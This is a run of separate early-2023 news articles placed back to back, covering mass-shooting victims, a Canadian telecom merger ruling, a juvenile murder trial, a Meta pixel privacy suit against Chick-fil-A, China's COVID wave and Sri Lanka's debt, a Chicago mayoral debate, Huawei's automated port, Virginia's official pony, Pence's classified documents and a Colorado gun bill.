"Now to have that journey suddenly interrupted is heartbreaking," Fong wrote on a GoFundMe page created to help pay for her aunt's funeral. "She will never be able to witness what she dreamed of for all these years."

Yu and her husband worked multiple jobs and just managed to get by, Fong wrote, laboring so that their three children, two of whom are in college, could have better futures.

Tom's family said she died on Sunday after being taken to hospital in critical condition following the shooting, according to a statement seen by ABC News. Tom was remembered as a "hard-working mother, wife and grandmother who loved to dance."

"To those who knew her, she was someone who always went out of her way to give to others," the family said.

In a statement on Twitter, Alvero's family said he was a devout Catholic who loved ballroom dancing and was the life of any party.

Story continues

"Overnight, we became unwilling members of a community who has to mourn the loss of our loved ones due to gun violence. We are left frustrated, stuck with this vicious cycle," the family said.

HALF MOON BAY VICTIMS

Seven people were killed and one person was in critical condition after a 66-year-old man on Monday attacked two mushroom farms near the resort town of Half Moon Bay, south of San Francisco, police said.

The victims - six men and two woman - were all Asian or Hispanic adults, according to the San Mateo County Sheriff's Office.

Jose and Pedro Romero, brothers who migrated from Mexico two years ago and worked at Mountain Mushroom Farm, were among those shot, their cousin Jose Juarez told Reuters.

Jose died and his younger brother Pedro is hospitalized, Juarez said. Jose has a wife and children back in Mexico, he added.

"You look to improve your life and then you end up with this," said Juarez, quiet and sullen as he took a break from cooking at a Mexican restaurant in a Half Moon Bay strip mall.

The family is looking for financial help in order to repatriate Jose's body to Mexico, he said.

Farm worker Marciano Martinez-Jimenez was one of three people shot dead at Concord Farms, his nephew Carlos Martinez-Maya told ABC7 news.

Martinez-Jimenez's death was confirmed to Reuters by Antonio Perez, who works at a Latino grocery store in Half Moon Bay and was schoolmates with him in their village in the Mexican state of Oaxaca.

Perez was stunned when, upon arriving in Half Moon Bay in the late 1990s, he saw Martinez-Jimenez again at a party.

"I was so happy. We spoke about when we'd arrived here. And he said, 'Come sit down with us'," Perez recounted.

Martinez-Jimenez was hardworking, quiet and sought to avoid conflict, Perez said.

"Last Thursday or so, I saw him for the last time in the store," Perez said. "He came to buy cheese."

The San Mateo County Coroner's Office declined to comment on the identities of the victims in the Half Moon Bay shooting.

(Reporting by Alexandra Ulmer, Rich McKay, Brad Brooks, Sharon Bernstein, Kanishka Singh, Brendan O'Brien and Engen Tham, Ben Blanchard and Andrew Hay; Editing by Colleen Jenkins, Nick Zieminski and Daniel Wallis)
OTTAWA, Ontario (AP)  Canadas Federal Court of Appeal on Tuesday dismissed an attempt by the Competition Bureau to overturn a key approval of Rogers Communications Inc.s takeover of Shaw Communications Inc.

Court of Appeal Justice David Stratas said the arguments presented by the bureau dont meet the threshold of a palpable and overring error going to the core of the case that would be required to overturn the decision by the Competition Tribunal to approve the CDN$26 billion (US$19.44 billion) deal.

Stratas delivered his decision from the bench before the companies involved had given their response.

"This is a high threshold, he said. It is not enough to pull at leaves and branches and leave the tree standing, rather the entire tree must fall.

The Competition Tribunal made it clear the transaction would not likely prevent or substantially lessen competition, supported by ample evidence, said Stratas.

The Competition Bureaus arguments had focused on what they said were four key legal errors that focused especially on how the proposed sale of Shaws Freedom Mobile to Videotron factored into the tribunals decision.

Stratas said some of the points raised by the bureau were disputed as a combination of issues of fact and law, while the Court of Appeal can only look into matters of law.

"The Commissioner appears to be inviting us to reweigh the evidence, which we cannot do, he said.

The deal, which Rogers hopes to close by Jan. 31, still requires approval from Industry Minister Francois-Philippe Champagne.

Champagne said in a statement that he was reviewing the Federal Court of Appeals decision and will be making a decision on the deal in due course.

The Competition Tribunal approved the deal on Dec. 30 at the end of more than four weeks of hearings. Rogers and Shaw first announced the deal in March of 2021.
A photo of Grace Ross, 6, was one of the items placed on a park bench at Memorial Park in New Carlisle at a vigil in honor of the girl.

SOUTH BEND  When Anthony Hutchens first started talking to detectives on the night Grace Ross was found dead in New Carlisle, he told them the 6-year-old girl had followed him into the woods, but then he lost track of where she went after a while.

By the end of the interrogation, nearly 90 minutes later, Anthony  who was 14 years old at the time  maintained a shadowy man in the woods had taken control of him and "used my hands to strangle her to death."

While friends and family of Grace uneasily watched the video in its entirety in a St. Joseph County courtroom on Tuesday, Anthony  now 16  looked down and plugged his ears with his fingers.

The first day of the trial:'It stopped being a regular day': Murder trial tells of when 6-year-old went missing

The video of Anthony's statement was the main focus of Tuesday's proceedings and marked the final evidence prosecutors submitted in the murder trial. Anthony's statement to police, combined with the physical evidence collected, point to the teenager's guilt, Chief Deputy Prosecutor Chris Fronk argued in his closing statements.

"This is an important decision, but not a difficult one from the state's perspective. The defendant is obviously guilty," Fronk said.

Attorneys representing Anthony did not call any witnesses on the teenager's behalf and asked only a few questions of state witnesses.

Now, it is up to St. Joseph Superior Court Judge Jeffrey Sanford to decide whether Anthony is convicted or acquitted of murder and child molesting in connection Grace's death in March 2021. Stanford is expected to announce his verdict Thursday afternoon.

'I still feel like he's in my head'

Most of the proceedings Tuesday focused around what Anthony told investigators with the St. Joseph County Metro Homicide Unit in the hours after Graces body was found on the night of March 12, 2021.

In the video, Anthony at first told officers he was walking in the woods with his headphones in when he noticed Grace following him. Anthony didnt indicate that he knew Grace well or know why she was following him that day, although they both lived in the same apartment complex. The boy then said he lost track of Grace and got lost in the woods before eventually making his way back to the apartment complex.

Story continues

Immediately after detectives told Anthony they would test Graces body for DNA evidence, the boy said there was another person in the woods  a shadowy man standing behind the trees who took control of him. After initially bringing up the figure, Anthony said he was afraid to say more because then the man would come after me.

Over the next hour of the video, detectives, and Anthonys mother, who was present and repeatedly urged her son to tell the truth, pressed the boy to tell them what happened to Grace and why she was undressed

Anthony then said the man used my hands to strangle her to death while repeatedly saying the man, or figure, was in control of his actions and that it still feels like hes in my head.

Fronk characterized Anthony's statement as a teenager making up a story "in real-time."

"We have a 14-year-old who knew he was responsible for something vile, by all accounts something awful, and him not wanting to take responsibility," Fronk said during closing arguments.

Other testimony

Prosecutors also called a technician from the Indiana State Police's evidence laboratory who testified about DNA evidence collected from Anthony and Grace's clothing. The lab worker said samples from various parts of the clothing and Grace's body showed "very strong support" for Anthony's DNA.

On Monday, the court heard from witnesses at the apartment complex that day who said they saw Grace, Anthony and other children playing on a playground in the area. Police officers involved in the search for Grace also talked about how they found her body a good ways into the wooded area thanks to an infrared drone.

Jeff Kimmell, a public defender representing Anthony, asked a few questions about the methodology for the DNA testing, but otherwise did not cross examine any witnesses called by the state. In his closing remarks, Kimmell said he still feels the case should be tried in juvenile, not adult, court. Anthony did not testify.

Since Anthony's case was moved to adult court in March of last year, his lawyers have filed motions to have the case moved back to juvenile court, though Sanford declined to entertain that request. Anthony also has undergone a series of psychological evaluations to determine whether he is competent to stand trial, though he has been ruled competent in both juvenile and adult jurisdictions.

If Anthony is convicted on counts of both murder and child molesting, there is a wide range of sentencing outcomes possible. The 16-year-old faces more than 80 years in prison if sentenced to the maximum amount of time possible on both counts. However, because Anthony is under 18, Sanford could pursue alterative options, such as placing Anthony in a secure juvenile facility.

Email Marek Mazurek at mmazurek@sbtinfo.com. Follow him on Twitter: @marek_mazurek

This article originally appeared on South Bend Tribune: New Carlisle murder trial now up to judge; defense calls no witnesses
The Chick-fil-A logo on a restaraunt.

While Chick-fil-A was serving you sandwiches, it was also serving up data to Facebooks parent company Meta. According to a new lawsuit filed Sunday, the fast food chain did that in a way that violated one of the only federal privacy laws in the United States.



Chick-fil-A has been putting out bizarre animated videos during the Christmas season over the last four years titled The Stories of Evergreen Hills. Weve posted a seven-minute-long example below, which you can watch, if youre out of your mind. These low-budget holiday masterpieces are available on YouTube, or you can check them out on Chick-fil-As dedicated website, evergreenhills.com. That website caught privacy lawyers attention due to the way it tracks and shares data.



Read more

Like hundreds of millions of other websites, evergreenhills.com has an embedded Meta pixel, a tracker that sends the social media company data about whos visiting the site. Companies like Chick-fil-A use that information to retarget people with ads and measure how well ad campaigns are working. The plaintiffs allege that Chick-fil-A broke a law called the Video Privacy Protection Act (VPPA), which says you cant share personally identifiable information about peoples video viewership without their consent.



The Meta pixel doesnt typically collect your name, phone number, or home address, but it does gather unique ID numbers that the social media company uses to identify you and target you with ads. According to privacy advocates, that obviously meets the criteria for personally identifiable information, because its information that identifies you individually. But the aggrieved Chick-fil-A customers will have to make that argument to the judge.





The Snow Globe | Stories of Evergreen Hills | Created by Chick-fil-A

Chick-fil-A did not immediately respond to a request for comment. The privacy policy of evergreenhills.com states that the company collects information on its visitors and may share that information with Facebook and other social media companies.



Story continues

Contrary to popular belief, there are basically no privacy laws in the United States, especially at the federal level. The few state laws related to data privacy, such as the California Consumer Privacy Act, give you some rights after the data is collected, but they generally require companies to get your consent.



But when theres video involved, you step into a legal gray area.

The VPPA is an obscure 1988 law meant to protect information about peoples video tape rentals called the Video Privacy Protection Act (VPPA), written after the press leaked a list of failed Supreme Court nominee Robert Borks movie watching habits.

Three-and-a-half decades later, that law may land Chick-fil-A in the fryer, along with a growing list of basically every company on the planet that shows videos online.

The VPPA says that video tape service providers (or anyone who offers similar services) cant disclose personally identifiable information about what videos you watch without your informed, written consent. If a company shares your data in violation of the law, they owe you a $2,500, not counting potential punitive damages and attorneys fees. When theres a class-action lawsuit with thousands or millions of potential victims involved, that money adds up fast.



However, its not clear whether the structure of the internet is in scope of the Reagan era privacy law. The multi-million dollar question is how courts will define personally identifiable information.

Chick-fil-A is in good company. There has been an absolute explosion of class-action lawsuits filed for alleged VPPA violations over the last year or so. In October, Bloomberg Law identified 47 different lawsuits, a number which has only grown since, filing claims against companies including NBA, GameStop, CNN, BuzzFeed, and Dotdash Meredith, owner of People Magazine. It almost seems as though lawyers are trawling the web looking for more websites to sue. Its like a meme for attorneys.



Reading the text of the law, it seems clear that sending data about video watching that lets a company identify you is in spirit of what Congress wanted to protect back in the 80s. But if that is true, the chicken is going to hit the fan. This kind of data sharing is just how the internet works (which is unfortunate, for anyone whos a fan of not being spied on). There are Meta pixels and similar tracking tools on practically every website you visit. If every one of those websites that has videos on it broke the law, companies could be on the hook for tens or even hundreds of billions of dollars.

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[Source]

Before you read:

Chinas chief epidemiologist estimated that 80% of China's population have been infected with COVID-19 since early December.

A second COVID wave in China is unlikely to occur in the next two or three months due to the high infection rates and the millions of Chinese traveling across the country for Lunar New Year, or Spring Festival, reported Wu Zunyou, chief epidemiologist at the China Center for Disease Control and Prevention (CDC).

Wu posted on Weibo that the COVID rebound was improvable even as a large number of people traveling during the Spring Festival holiday period, which can last up to 40 days, may increase infection rates in some areas.

More from NextShark: Macao's Billionaire 'King of Gambling' Stanley Ho Passes Away at 98

The country as a whole has passed the peak of the wave. Cities and counties of all sizes are basically seeing infections come down, Wu explained.

On Sunday, the Chinese CDC reported nearly 13,000 COVID-related deaths between Jan. 13 and 19. Previously, government data confirmed about 60,000 deaths roughly one month after China scrapped its zero-COVID policy.

With medical staff being discouraged from listing COVID-19 on death certificates in China, the death toll of COVID-19 cases reported by authorities is suspected to be underestimated.

More from NextShark: Indian teen dies days after being set on fire by man she rejected

With the Lunar New Year being the first major holiday since travel restrictions were lifted, the Ministry of Transports estimated that up to 5 billion trips will be made during the Spring Festival period. On Saturday, domestic flights reached 800,000 passengers, doubling the number of flights taken on Lunar New Years Eve in 2022.

These numbers, along with cases of XBB.1.5, a current variant in the U.S., raised fears of a COVID-19 rebound, to which Wu responded, In the short term, for example, in the next two to three months, the possibility of... a second wave of the epidemic across the country is very small.

Story continues

Despite the reassuring message, Wu warned the elderly and other high-risk groups to continue to self-monitor for symptoms and refrain from traveling long distances to visit family and friends.

More from NextShark: Report: Over 11,000 anti-Asian hate incidents reported since March 2020

Related stories:

Enjoy this content? Read more from NextShark!

Jaylin Williams makes history as first player of Vietnamese descent to make active NBA roster
By Devjyot Ghoshal and Uditha Jayasinghe

NEW DELHI/COLOMBO (Reuters) -The Export-Import Bank of China has offered Sri Lanka a two-year moratorium on its debt and said it would support the country's efforts to secure a $2.9 billion loan from the International Monetary Fund, according to a letter reviewed by Reuters.

Regional rivals China and India are the biggest bilateral lenders to Sri Lanka, a country of 22 million people that is facing its worst economic crisis in seven decades.

India wrote to the IMF earlier this month, saying it would commit to supporting Sri Lanka with financing and debt relief, but the island nation also needs the backing of China in order to reach a final agreement with the global lender.

However, China's Jan. 19 letter, sent to the finance ministry, may not be enough for Sri Lanka to immediately gain the IMF's approval for the critical loan, Sri Lankan sources with knowledge of the matter said.

According to the letter, China EximBank said it was going to provide "an extension on the debt service due in 2022 and 2023 as an immediate contingency measure" based on Sri Lanka's request.

"You will not have to repay the principal and interest due of the bank's loans during the above-mentioned period," the letter said, adding China EximBank wanted to expedite the negotiation process with your side regarding medium and long-term debt treatment in this period.

By end-2020, Sri Lanka owed China EximBank $2.83 billion or 3.5% of the island's external debt, according to IMF data.

In total, Sri Lanka owed Chinese lenders $7.4 billion, or nearly a fifth of public external debt, by end-2022, calculations by the China Africa Research Initiative showed.

"The bank will support Sri Lanka in your application for the IMF Extended Fund Facility (EFF) to help relieve the liquidity strain," China's letter added.

An IMF spokeswoman confirmed the IMFs management received Indias commitment but did not comment on the Chinese letter.

Story continues

Sri Lanka's foreign and finance ministries and China's foreign ministry did not respond to questions from Reuters.

One Sri Lankan source, who asked not to be identified because of the sensitivity of the confidential discussions, said the country had hoped for a clear assurance from Beijing along the lines of what India provided to the IMF.

"China was expected to do more," the source said, "This is much less than what is required and expected of them."

DEBT SUSTAINABILITY

In a letter directly addressed to the IMF, India said last week that the financing or debt relief provided by Export-Import Bank of India would be consistent with restoring debt sustainability under the IMF-supported program.

Another government source with direct knowledge of the talks told Reuters that Sri Lanka would likely share China's letter with the IMF and seek their opinion on its contents to gauge if stronger assurances were needed.

Comparing the letters showed that India's was "comprehensive" in acknowledging debt restructuring parameters from the IMF for middle-income countries such as Sri Lanka, another person with knowledge of the debt discussions added. Meanwhile China's letter only points to a rebuilding of foreign exchange reserves being key for Sri Lanka without referencing ratios for debt and financing needs, the person said.

"The fact that China's letter could be acceptable to the IMF will be watched very closely by all private creditors," said the person on condition of anonymity.

It is unclear what debt relief major lenders such as China - the world's largest bilateral lender - and India are willing to make further down the line.

Western countries such as the United States and multilateral lenders are pressing Beijing to offer debt relief to emerging economies in distress, and have criticised Beijing for slow progress.

However, news from Zambia on Monday suggests China could be playing a more proactive role. Speaking in the capital Lusaka, the head of the International Monetary Fund Kristalina Georgieva said the lender had reached an understanding in principle with China about a debt restructuring strategy.

China will de facto accept NPV (net present value) reduction on the basis of significant stretching of the maturities and reduction of interest, Georgieva said.

Sri Lanka's central bank chief P. Nandalal Weerasinghe said on Tuesday the country hoped to complete its debt restructuring in six months.

(Reporting by Devjyot Ghoshal and Uditha Jayasinghe, additional reporting by Jorgelina do Rosario and Karin Strohecker; Editing by Jacqueline Wong, William Maclean and Emelia Sithole-Matarise)
Mayoral candidates Mayor Lori Lightfoot, from left, U.S. Rep. Jesus "Chuy" Garcia and Cook County Commissioner Brandon Johnson meet with members of the Chicago Tribune Editorial Board at Freedom Center Monday in Chicago. (Armando L. Sanchez/Chicago Tribune)

Chicago Mayor Lori Lightfoot launched a blistering series of attacks on two of her top challengers Monday, accusing Cook County Commissioner Brandon Johnson and his allies in the teachers union of bringing chaos to Chicago schools during her first term and re-upping assertions that U.S. Rep. Jesus Chuy Garcia is a false reformer whose ties to indicted former House Speaker Michael Madigan undermine his claims hell be an independent mayor.

The challengers responded by ripping the mayor for letting crime in Chicago run rampant, breaking key campaign promises and being a belligerent and ineffective leader of the nations third-largest city.

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The rousing debate, which took place over 90 minutes at the Tribunes Editorial Board, occurred nearly five weeks from the Feb. 28 election. Lightfoot is trying to secure a second term in office while facing eight challengers following a turbulent first term that saw her have to deal with the COVID-19 pandemic, sometimes violent protests, spikes in crime and, as she put it, an economic meltdown. The other candidates in the field met last week with the board, which is separate from the newsroom.

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Garcia, making his second bid for the citys highest office, downplayed his relationship with Madigan days after the Tribune reported Garcia is an unidentified member of Congress referenced in federal court filings detailing an alleged scheme by Madigan to appoint one of Garcias political associates to a lucrative position on Commonwealth Edisons board of directors. Garcia is not accused of wrongdoing and denied playing any role in the push by Madigan to appoint Juan Ochoa to the utilitys board.

In response to a question about his ties to the former speaker, Garcia invoked the earliest days of his political career in the 1980s, working with the citys first Black mayor, Harold Washington, against a coalition of mostly white City Council members who opposed him and allied with the historic Chicago machine.

Let me remind you and everyone in the room that there isnt another elected official in office today whos been fighting the machine as long as I have, Garcia said. He added that anyone with pending legislation in Springfield over the past few decades had to work with the former speaker, who famously held tight control over the Statehouse.

Just because you swim with sharks, if you listen to the people that sent you somewhere, you dont become one, Garcia said. And thats been my mantra.

Mayoral candidate U.S. Rep. Jesus "Chuy" Garcia meets with members of the Chicago Tribune Editorial Board at Freedom Center on Jan. 23, 2023, in Chicago. (Armando L. Sanchez / Chicago Tribune)

That answer did not satisfy Lightfoot, who quipped, Clearly what (Garcia) decided after losing in 2015 is, If you cant beat em, join em. And hes made deal after deal after deal.

Lightfoot also clashed sharply with Johnson, a longtime leader with the Chicago Teachers Union, over education. She blamed the influential union for drops in Chicago Public Schools student enrollment, which she said have been exacerbated by several work stoppages during her time in office. She said shes talked to a lot of parents who cite uncertainty caused by union actions as the reason they left the district for the suburbs or private schools. That hurts CPS.

Johnson responded later by noting the mayor broke a 2019 campaign promise for an elected school board governing CPS after she opposed the prevailing bill in Springfield in 2021, saying it was unwieldy. Lightfoot campaigned in support of an elected school board but quietly abandoned the promise when she took office.

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The fact of the matter is that we brought democracy to the city of Chicago, Johnson said.

Lightfoot scoffed and retorted, You brought chaos.

For his part, Garcia argued that Chicago  and its public school enrollment  has been shrinking due to crime fears and vowing to get Springfield to double CPS funding if elected.

Mayoral candidate Cook County Commissioner Brandon Johnson meets with members of the Chicago Tribune Editorial Board at Freedom Center on Jan. 23, 2023. (Armando L. Sanchez / Chicago Tribune)

You need someone who has those relationships, who understands how those relationships function, that can deliver for Chicago, Garcia said. Thats why I continue to insist I am the most qualified person to lead the city in this time.

Lightfoot also went on the offensive after Johnson and Garcia criticized her approach to leading the Police Department during a time of heightened crime as well as under the existence of a consent decree. She promised full compliance with the consent decree in the next four years and said Johnson has no idea about whats going on there. She called Garcia the OG supporter of defunding the police and said its something she will never do.

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Garcia said he has a list of congressional bills he voted on that increased law enforcement funding.

Lightfoot brought a printout of Johnson quotes speaking in favor of reallocating spending on law enforcement to argue that he is a defunder.

During his first term as Cook County commissioner, Johnson was lead sponsor of a symbolic resolution that called for divesting funds from policing and jails in the wake of George Floyds murder by Minneapolis police. But the sheriffs budget only saw a modest and temporary cut amid a steep budget shortfall that saw shrinkages across county offices.

Lightfoot also made a small cut to the Police Departments budget in 2020 that led some critics to accuse her of defunding.

Mayor Lori Lightfoot meets with members of the Chicago Tribune Editorial Board on Jan. 23, 2023. (Armando L. Sanchez / Chicago Tribune)

In response to the defund criticism, Johnson noted that the city spends far more on policing than education and that approach isnt working.

We spend more on jails and incarceration than we do on educating young people, Johnson said.

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Johnson also went after Garcia, describing him as an absentee politician who did not speak out on various issues in Latino neighborhoods, such as General Irons attempted move to the Southeast Side or the Hilco explosion in Little Village.

Hes referring to her, Garcia said, nodding to Lightfoot, as Johnson repeated that Chicagoans didnt hear his voice on those issues.

Her has a name, Lightfoot shot back.

The session kicked off with Lightfoot making no apologies when asked about criticism from her challengers that she was too antagonistic.

Look, Im tough. Theres no if ands or buts about it, Lightfoot said. And I think the people of the city voted for me to be the mayor, different than any other mayor thats ever sat in the fifth floor, because of that toughness, but also because of the integrity that I bring to the job because of my focus on breaking up the status quo.

Lightfoot also tried to tamp down insinuations that she cant get along with others by saying she could not have closed major budget deficits during the pandemic without working relationships in City Council and beyond.

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The mayor later said she could write a Ph.D. thesis on crisis management and collaboration after the storm of nationwide crises that colored her first term. But she wouldnt promise a brand-new Lightfoot leading City Hall should she win reelection.

Im 60 years old, Lightfoot said. Im not going to change my personality entirely at this age.

ayin@chicagotribune.com

gpratt@chicagotribune.com
TIANJIN, China (AP)  As technicians in a distant control room watch on display screens, an automated crane at one of Chinas busiest ports moves cargo containers from a Korean freighter to self-driving trucks in a scene tech giant Huawei sees as its future after American sanctions crushed its smartphone brand.

The backbone of the smart terminal at the Tianjin Port, east of Beijing, is a data network built by Huawei, which is reinventing itself as a supplier for self-driving cars, factories and other industries it hopes will be less vulnerable to Washington's worsening feud with Beijing over technology and security.

The ruling Communist Party is promoting automation in industries from manufacturing to taxis to keep Chinas economy growing as the workforce ages and starts to shrink. Its managers say the smart terminal, part of Tianjin's 200-square-kilometer (77-square-mile) port, allows 200 employees to move as much cargo as 800 used to.

We believe this solution in Tianjin is the worlds most advanced, said Yue Kun, chief technology officer of Huaweis business unit for ports. We believe it can be applied to other ports.

Huawei Technologies Ltd., which makes smartphones and is the biggest global supplier of network gear for phone carriers, struggled after then-President Donald Trump cut off access to American processor chips and other technology in 2019 in a feud with Beijing about security.

Washington says Huawei is a security risk that might use its access to foreign phone networks to facilitate Chinese spying, an accusation the company denies. The United States and allies including Japan and Australia have banned or restricted use of Huawei equipment by their phone carriers.

Smartphone sales outside China collapsed after Huawei lost music, maps and other services from Alphabet Inc.s Google that handset buyers expect to see pre-loaded. Its low-end Honor brand was sold off in 2020 in hopes of reviving sales by separating it from the sanctions on its corporate parent.

Story continues

Huawei, with a workforce of almost 200,000, has held onto its status as the leading maker of network gear based on sales in China and other markets where Washington has had less success at encouraging governments to shun the company.

Huawei is already a key player in data networks with a wealth of knowledge, said Paul Budde, an industry analyst.

The company has created 20 teams to focus on factories, mines, hospitals, ports, power plants and other industrial customers. It says the auto unit has 3,000 people working on autonomous driving and invested $2 billion in the technology in 2020-21. Huawei was an early developer of smart city networks for traffic control and police surveillance.

The big, black cloud here, however, is geopolitics," said Budde. "This will hamper its participation in overseas markets, he said. The issues are not technology but are purely political.

American pressure on Huawei spiraled into an international standoff in 2018 after its chief financial officer, Meng Wanzhou, daughter of its founder, was arrested in Canada on U.S. charges related to accusations of violating trade sanctions on Iran.

China arrested two Canadians on spying charges, trying to win Meng's release. They were freed in September 2021 after Meng was allowed to return to China under an agreement with American prosecutors in which she took responsibility for misrepresenting Huawei's dealings with Iran.

Huawei says its new focus already is helping to revive the companys fortunes.

In 2020, we successfully pulled ourselves out of crisis mode, said Eric Xu, one of three Huawei executives who take turns as chairman, in a December letter to employees. U.S. restrictions are now our new normal, and were back to business as usual.

Last years revenue was forecast to be little-changed from 2021 at 636.9 billion yuan ($91.6 billion), Xu said. That was below Huaweis double-digit growth of a decade earlier but an improvement over the 5.9% slide in the first half.

He gave no breakdown by business line, but Huawei reported 2021 sales to industrial customers of 102.4 billion yuan ($16.1 billion). Sales of smartphones and other devices fell 25.3% from a year earlier in the first half of 2022 to 101.3 billion yuan ($15 billion).

The auto unit, which supplies components and software for navigation, dashboard displays and managing vehicle systems, has played a role in five models released by three Chinese automakers.

The ruling party's urgency about rolling out automation has risen as the size of Chinas working age population 16 to 59 declined after hitting a peak in 2011. That group has shrunk by about 5%. Its share of the population slid from 70% to 62%.

The Tianjin port managers told Huawei they already were having trouble finding and keeping truck drivers, according to Yue.

This can help to address the aging population issue, said Yue.

Yue said Huawei has talked with people outside China who might use its port technology, but he gave no details.

The annual market for port-related network technology is modest at $2 billion, but global sales of gear to link factory and medical equipment, cars and other devices total $600 billion a year, according to Budde. He said that has the potential to replace Huawei's lost smartphone and other telecom sales, so long as foreign buyers aren't put off by security concerns.

The Tianjin port's fleet of 88 battery-powered autonomous trucks are charged by wind turbines, according to a port spokesman, Peng Pai.

Its much safer, and it uses clean energy, said Peng.

In a third-floor control room with floor-to-ceiling windows that look out over the port, a dozen operators sit in front of displays with as many as six screens showing video feeds of computer-controlled cranes lifting cargo boxes onto or off ships. Each can monitor as many as six cranes at once, unlike a traditional operator who serves only one ship.

People had to work high up in cranes, said Yang Jiemin, a vice president of Tianjin Port Group. Now, our operators can sit in an office and monitor equipment remotely.

Operators take control of a crane or truck if sensors indicate a problem, according to Huawei's Yue. He said the ports goal is to cut that takeover rate to 0.1%, or one container in 1,000, while computers manage the handling of the others from start to finish.

The high-speed network allows a crane or truck to react to a command in 1/100th of a second, even though the ships are 500 meters (one-third of a mile) away from the control room, according to Liu Xiwang, manager of the ports information department.

You cant feel the delay, Liu said.

Yue, the Huawei executive, was reluctant to say whether it needs processor chips or other foreign inputs that might be disrupted by U.S. sanctions.

I really dont know the answer to your question, Yue said after being asked twice about the sources of critical components. He compared it to buying a cup of coffee: I dont know who supplies the cup, the coffee beans and the water.
UPDATE: Gov. Glenn Youngkin officially signed off on bills to make the Chincoteague pony the official pony of the commonwealth.

Youngkin signed the bills Monday, March 27. Sen. Lynwood Lewis' bill SB1478 passed unanimously while a companion bill  HB 1951  cleared the House of Delegates with 93-7 votes during the 2023 General Assembly session.

What better way to foster bipartisan unity than with the legendary herd of Chincoteague ponies?

A pair of bills introduced in the Virginia Legislature by the Eastern Shore delegation, Delegate Robert Bloxom, a Republican, and Sen. Lynwood Lewis, a Democrat, have put forward an idea that touches Shore residents and many beyond: Making the Chincoteague pony the official pony of the Commonwealth. And now both bills have been passed and have been forwarded to the desk of Gov. Glenn Youngkin for his signature.

The Chincoteague Volunteer Fire Department, which had led the charge for the overdue designation, celebrated the victory in a post on Facebook.

"We are very happy to announce that SB 1478 and HB 1951 have passed! Votes were unanimous in VA State Senate and 93-7 in the House of Delegates! All thats left is for t;he gvernor to sign into law. Hooray for the Chincoteague Ponies, their owners and their fans! Near and far we thank you for your overwhelming support for this distinct honor on behalf of all Chincoteague Ponies!"

The Department, which has cared for the herd for generations. launched the drive to bring the beloved ponies to legislators' attention.

"We are grateful to be the stewards and proud owners of the Wild Chincoteague Ponies. Earlier this year, we set out with a goal of making the Chincoteague Pony the Official Pony of Virginia. I am pleased to announce that Delegate Bloxom and Senator Lewis have stepped up to the plate and will present a bill to make the Chincoteague Pony the Official Pony of the Commonwealth of Virginia," the fire department shared in a Facebook post.

Story continues

Delegate Bloxom shared this with Delmarva Now about his reason for introducing the bill in the House:

"When Gov. Youngkin visited Chincoteague this idea was discussed with me and by members of the Volunteer Fire Department. Sophia Gallivan, a member of the drill team, championed the project and help give background and motivation behind the bill. I am proud to bring this to Richmond and to have the support of the governor and first lady."

Pony Swim history and appeal

The story of the Chincoteague herd is well-known now, and as the Chincoteague Volunteer Fire Company shared, the famous Pony Penning that has given it worldwide appeal really all began in 1925, and really took off with the publication of Marguerite Henry's "Misty of Chincoteague" in 1947.

"Since 1925 people have been able to buy a wild foal and take it home to train and ride it, often it becomes a part of their family and has a lasting impact on their life," the department stated in Sunday's post.

PONY HISTORY: Did Chincoteague ponies come from a Spanish shipwreck? Centuries-old tooth adds to legend

More:Chincoteague Pony Swim 2022 returns to full glory. 'It gives you chills'

Pony Penning refers to the weeklong celebration in July that include the pony roundup, swim, auction and swim back, among other events.

Despite two virtual years during the COVID-19 pandemic, the related auction has set records for three years running.

Chincoteague pony lovers were out in force to make 2022 a year to remember with a record total of $450,200 raised from the auction of 63 ponies, including 10 buybacks, according to a tally posted on the Chincoteague Chamber of Commerce and Certified Visitor Center's site.

The Pony Swim itself, which draws all kinds of pony lovers to wade into swamps, climb trees or whatever they have to do to get a glimpse, also returned live in 2022 after two years off.

Here is a gallery from the 2022 swim.

Through it all the appeal of the Chincoteague ponies has persevered, so as the fire department pleads, "Now please join us in voicing your support for the bill. With your support they will receive this well deserved accolade and yet again they will prove they are here to stay for generations!"

OLDEST PONY: Chincoteague herd's oldest pony, Wild Thing, has died

This article originally appeared on Salisbury Daily Times: UPDATE: Chincoteague ponies now official pony of Virginia
Former vice president Mike Pence said he takes full responsibility for the presence of documents with classification markings at his Carmel, Indiana home that were turned over to the FBI earlier this month.

Speaking at an event at Florida International University, Mr Pence said the documents should not have been in my personal residence.

Mistakes were made, and I take full responsibility, and I've directed my counsel to work with the National Archive,s with the Department of Justice, and with the Congress to fully cooperate in any investigation, he said. Our national security depends on the proper handling of classified and sensitive materials, and I know that when errors are made, it's important that they be resolved swiftly and disclosed.

Mr Pence added that his only hope is that the American people see that he and his attorneys acted above politics and put the national interest first.

The FBI and the Justice Departments National Security Division has launched an investigation into how the documents landed in Mr Pences home. Mr Pences lawyer told CNN that the FBI requested to pick up the documents marked classified that evening, to which he agreed. FBI agents at the field office in Indianapolis recovered the documents from his home.

Mr Pences representative Greg Jacob wrote to the National Archives that a small number of documents bearing classified markings were inadvertently transferred and boxed to his Indiana home.

The revelations come as President Joe Biden faces criticism for having classified documents from his time as Barack Obamas vice president at his office at the Penn Biden Center at the University of Pennsylvania and his home in Wilmington, Delaware. More documents were found at Mr Bidens home in Delaware during the weekend amid a detailed search of his home.

Mr Bidens personal attorney said the president offered full access to the Presidents home and personally handwritten notes, files, papers, binders, memorabilia, to-do lists, schedules, and reminders going back decades, though the search was not publicised in accordance with its standard procedures.

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That news, in turn, came after the FBI executed a search warrant at Mr Trumps home at Mar-a-Lago in Palm Beach to recover documents from his presidency.

Republicans have sought to draw a comparison between Mr Trump and Mr Biden, saying that the FBI unduly searched Mr Trumps home while it has not done the same for Mr Biden. House Republicans have requested visitor logs of Mr Bidens home in Wilmington, even though no such logs exist.

In response, Attorney General Merrick Garland appointed special counsel Robert Hur to oversee the investigation into classified documents at Mr Bidens home and office.

Asked about the discovery of documents with classified markings at the home of Mr Bidens successor as vice president, White House Karine Jean-Pierre demurred, citing the White Houses desire not to comment on ongoing investigations. She instead referred questions to the Department of Justice and the White House Counsels office.
DENVER (AP)  Two decades after the 1999 Columbine High School massacre and two months after five people were killed at an LGBTQ nightclub in Colorado Springs, Colorado lawmakers are drafting a sweeping ban on semiautomatic firearms.

If passed, the ambitious legislation would make Colorado the 10th state in the nation to ban the sale and transfer of certain semiautomatic guns while grandfathering in the state's existing ones. California passed its ban in 1989, and most recently, Illinois' ban was signed into law two weeks ago.

While Democrats hold large majorities in both chambers of Colorado's Legislature, the bill faces uncertain prospects.

